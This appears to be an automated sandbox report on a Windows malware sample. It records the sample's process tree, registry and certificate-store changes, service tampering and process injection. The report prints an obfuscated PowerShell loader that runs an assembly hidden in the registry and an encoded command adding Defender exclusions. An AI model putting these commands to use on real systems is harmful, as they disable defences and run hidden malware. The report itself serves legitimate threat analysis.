Analysis
-
max time kernel
151s -
max time network
85s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
01-09-2022 15:37
Static task
static1
Behavioral task
behavioral1
Sample
EdEYMrpFBNbTRHo.exe
Resource
win7-20220812-en
General
-
Target
EdEYMrpFBNbTRHo.exe
-
Size
4.5MB
-
MD5
b7c12ce33a5c2de80bcd7083d839df6e
-
SHA1
6d2bce616fc00cafeb2ae4c5499305b36fcfb4f1
-
SHA256
65970760831f083ce65c5ec185f5c1d1c73217bcf600de567f2960b592412c52
-
SHA512
b3cbb1c781217aee343352f5ef2668fec9aa70a3f8ed39eafef88815bc4b5a858965d4ea9d30f86e04cdff4d22bef4447333027a56fbc02fc9708203e9987225
-
SSDEEP
98304:Ha3DFNglg7shj9/X92ZmvG+Hc7supSg8MXGBl3Qbf2jYpvRhzPQA:q23V9/X9pvL+sWKMXGwDEYVx
Malware Config
Signatures
-
Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 1588 created 416 1588 powershell.EXE winlogon.exe PID 952 created 416 952 powershell.EXE winlogon.exe -
Executes dropped EXE 1 IoCs
Processes:
temp.exepid process 568 temp.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
icacls.exetakeown.exepid process 1936 icacls.exe 1956 takeown.exe -
Stops running service(s) 3 TTPs
-
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exeicacls.exepid process 1956 takeown.exe 1936 icacls.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 3 ip-api.com -
Drops file in System32 directory 4 IoCs
Processes:
powershell.EXEpowershell.exepowershell.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of SetThreadContext 3 IoCs
Processes:
EdEYMrpFBNbTRHo.exepowershell.EXEpowershell.EXEdescription pid process target process PID 1044 set thread context of 1408 1044 EdEYMrpFBNbTRHo.exe conhost.exe PID 1588 set thread context of 912 1588 powershell.EXE dllhost.exe PID 952 set thread context of 1580 952 powershell.EXE dllhost.exe -
Drops file in Program Files directory 2 IoCs
Processes:
EdEYMrpFBNbTRHo.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe EdEYMrpFBNbTRHo.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe EdEYMrpFBNbTRHo.exe -
Drops file in Windows directory 6 IoCs
Processes:
svchost.execonhost.exedescription ioc process File opened for modification C:\Windows\Tasks\dialersvc32.job svchost.exe File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe File created C:\Windows\Tasks\dialersvc32.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job conhost.exe File created C:\Windows\Tasks\dialersvc64.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc64.job conhost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 616 sc.exe 1964 sc.exe 1336 sc.exe 576 sc.exe 468 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 45 IoCs
Processes:
svchost.exepowershell.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 4057a18729bed801 powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\My svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2d\52C64B7E svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs svchost.exe -
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1504 reg.exe 568 reg.exe 1540 reg.exe 1496 reg.exe 804 reg.exe 1664 reg.exe 2000 reg.exe 112 reg.exe 1948 reg.exe -
Processes:
EdEYMrpFBNbTRHo.exetemp.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 EdEYMrpFBNbTRHo.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde EdEYMrpFBNbTRHo.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 temp.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 temp.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exeEdEYMrpFBNbTRHo.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exepid process 1444 powershell.exe 1128 powershell.exe 1044 EdEYMrpFBNbTRHo.exe 1128 powershell.exe 1128 powershell.exe 1588 powershell.EXE 1588 powershell.EXE 952 powershell.EXE 912 dllhost.exe 912 dllhost.exe 912 dllhost.exe 912 dllhost.exe 952 powershell.EXE 1580 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe 912 dllhost.exe 1580 dllhost.exe 1580 dllhost.exe 912 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
Processes:
powershell.exetakeown.exepowercfg.exepowercfg.exepowercfg.exeEdEYMrpFBNbTRHo.exepowercfg.exepowershell.exetemp.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exedescription pid process Token: SeDebugPrivilege 1444 powershell.exe Token: SeTakeOwnershipPrivilege 1956 takeown.exe Token: SeShutdownPrivilege 108 powercfg.exe Token: SeShutdownPrivilege 1844 powercfg.exe Token: SeShutdownPrivilege 2012 powercfg.exe Token: SeDebugPrivilege 1044 EdEYMrpFBNbTRHo.exe Token: SeShutdownPrivilege 1524 powercfg.exe Token: SeDebugPrivilege 1128 powershell.exe Token: SeDebugPrivilege 568 temp.exe Token: SeDebugPrivilege 1588 powershell.EXE Token: SeDebugPrivilege 1588 powershell.EXE Token: SeDebugPrivilege 952 powershell.EXE Token: SeDebugPrivilege 912 dllhost.exe Token: SeDebugPrivilege 952 powershell.EXE Token: SeDebugPrivilege 1580 dllhost.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
svchost.exepid process 888 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
EdEYMrpFBNbTRHo.execmd.execmd.exedescription pid process target process PID 1044 wrote to memory of 1444 1044 EdEYMrpFBNbTRHo.exe powershell.exe PID 1044 wrote to memory of 1444 1044 EdEYMrpFBNbTRHo.exe powershell.exe PID 1044 wrote to memory of 1444 1044 EdEYMrpFBNbTRHo.exe powershell.exe PID 1044 wrote to memory of 908 1044 EdEYMrpFBNbTRHo.exe cmd.exe PID 1044 wrote to memory of 908 1044 EdEYMrpFBNbTRHo.exe cmd.exe PID 1044 wrote to memory of 908 1044 EdEYMrpFBNbTRHo.exe cmd.exe PID 908 wrote to memory of 576 908 cmd.exe sc.exe PID 908 wrote to memory of 576 908 cmd.exe sc.exe PID 908 wrote to memory of 576 908 cmd.exe sc.exe PID 908 wrote to memory of 468 908 cmd.exe sc.exe PID 908 wrote to memory of 468 908 cmd.exe sc.exe PID 908 wrote to memory of 468 908 cmd.exe sc.exe PID 908 wrote to memory of 616 908 cmd.exe sc.exe PID 908 wrote to memory of 616 908 cmd.exe sc.exe PID 908 wrote to memory of 616 908 cmd.exe sc.exe PID 908 wrote to memory of 1964 908 cmd.exe sc.exe PID 908 wrote to memory of 1964 908 cmd.exe sc.exe PID 908 wrote to memory of 1964 908 cmd.exe sc.exe PID 908 wrote to memory of 1336 908 cmd.exe sc.exe PID 908 wrote to memory of 1336 908 cmd.exe sc.exe PID 908 wrote to memory of 1336 908 cmd.exe sc.exe PID 908 wrote to memory of 1504 908 cmd.exe reg.exe PID 908 wrote to memory of 1504 908 cmd.exe reg.exe PID 908 wrote to memory of 1504 908 cmd.exe reg.exe PID 908 wrote to memory of 568 908 cmd.exe reg.exe PID 908 wrote to memory of 568 908 cmd.exe reg.exe PID 908 wrote to memory of 568 908 cmd.exe reg.exe PID 908 wrote to memory of 804 908 cmd.exe reg.exe PID 908 wrote to memory of 804 908 cmd.exe reg.exe PID 908 wrote to memory of 804 908 cmd.exe reg.exe PID 908 wrote to memory of 1664 908 cmd.exe reg.exe PID 908 wrote to memory of 1664 908 cmd.exe reg.exe PID 908 wrote to memory of 1664 908 cmd.exe reg.exe PID 908 wrote to memory of 2000 908 cmd.exe reg.exe PID 908 wrote to memory of 2000 908 cmd.exe reg.exe PID 908 wrote to memory of 2000 908 cmd.exe reg.exe PID 908 wrote to memory of 1956 908 cmd.exe takeown.exe PID 908 wrote to memory of 1956 908 cmd.exe takeown.exe PID 908 wrote to memory of 1956 908 cmd.exe takeown.exe PID 908 wrote to memory of 1936 908 cmd.exe icacls.exe PID 908 wrote to memory of 1936 908 cmd.exe icacls.exe PID 908 wrote to memory of 1936 908 cmd.exe icacls.exe PID 1044 wrote to memory of 440 1044 EdEYMrpFBNbTRHo.exe cmd.exe PID 1044 wrote to memory of 440 1044 EdEYMrpFBNbTRHo.exe cmd.exe PID 1044 wrote to memory of 440 1044 EdEYMrpFBNbTRHo.exe cmd.exe PID 440 wrote to memory of 108 440 cmd.exe powercfg.exe PID 440 wrote to memory of 108 440 cmd.exe powercfg.exe PID 440 wrote to memory of 108 440 cmd.exe powercfg.exe PID 440 wrote to memory of 1844 440 cmd.exe powercfg.exe PID 440 wrote to memory of 1844 440 cmd.exe powercfg.exe PID 440 wrote to memory of 1844 440 cmd.exe powercfg.exe PID 440 wrote to memory of 2012 440 cmd.exe powercfg.exe PID 440 wrote to memory of 2012 440 cmd.exe powercfg.exe PID 440 wrote to memory of 2012 440 cmd.exe powercfg.exe PID 440 wrote to memory of 1524 440 cmd.exe powercfg.exe PID 440 wrote to memory of 1524 440 cmd.exe powercfg.exe PID 440 wrote to memory of 1524 440 cmd.exe powercfg.exe PID 908 wrote to memory of 112 908 cmd.exe reg.exe PID 908 wrote to memory of 112 908 cmd.exe reg.exe PID 908 wrote to memory of 112 908 cmd.exe reg.exe PID 908 wrote to memory of 1948 908 cmd.exe reg.exe PID 908 wrote to memory of 1948 908 cmd.exe reg.exe PID 908 wrote to memory of 1948 908 cmd.exe reg.exe PID 908 wrote to memory of 1540 908 cmd.exe reg.exe
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in Windows directory
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\taskeng.exetaskeng.exe {7786B19D-3129-409E-98F5-AF13F46F2CCE} S-1-5-18:NT AUTHORITY\System:Service:3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\EdEYMrpFBNbTRHo.exe"C:\Users\Admin\AppData\Local\Temp\EdEYMrpFBNbTRHo.exe"2⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAYgByAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBtAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwB4AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBpAHcAdwAjAD4A"3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
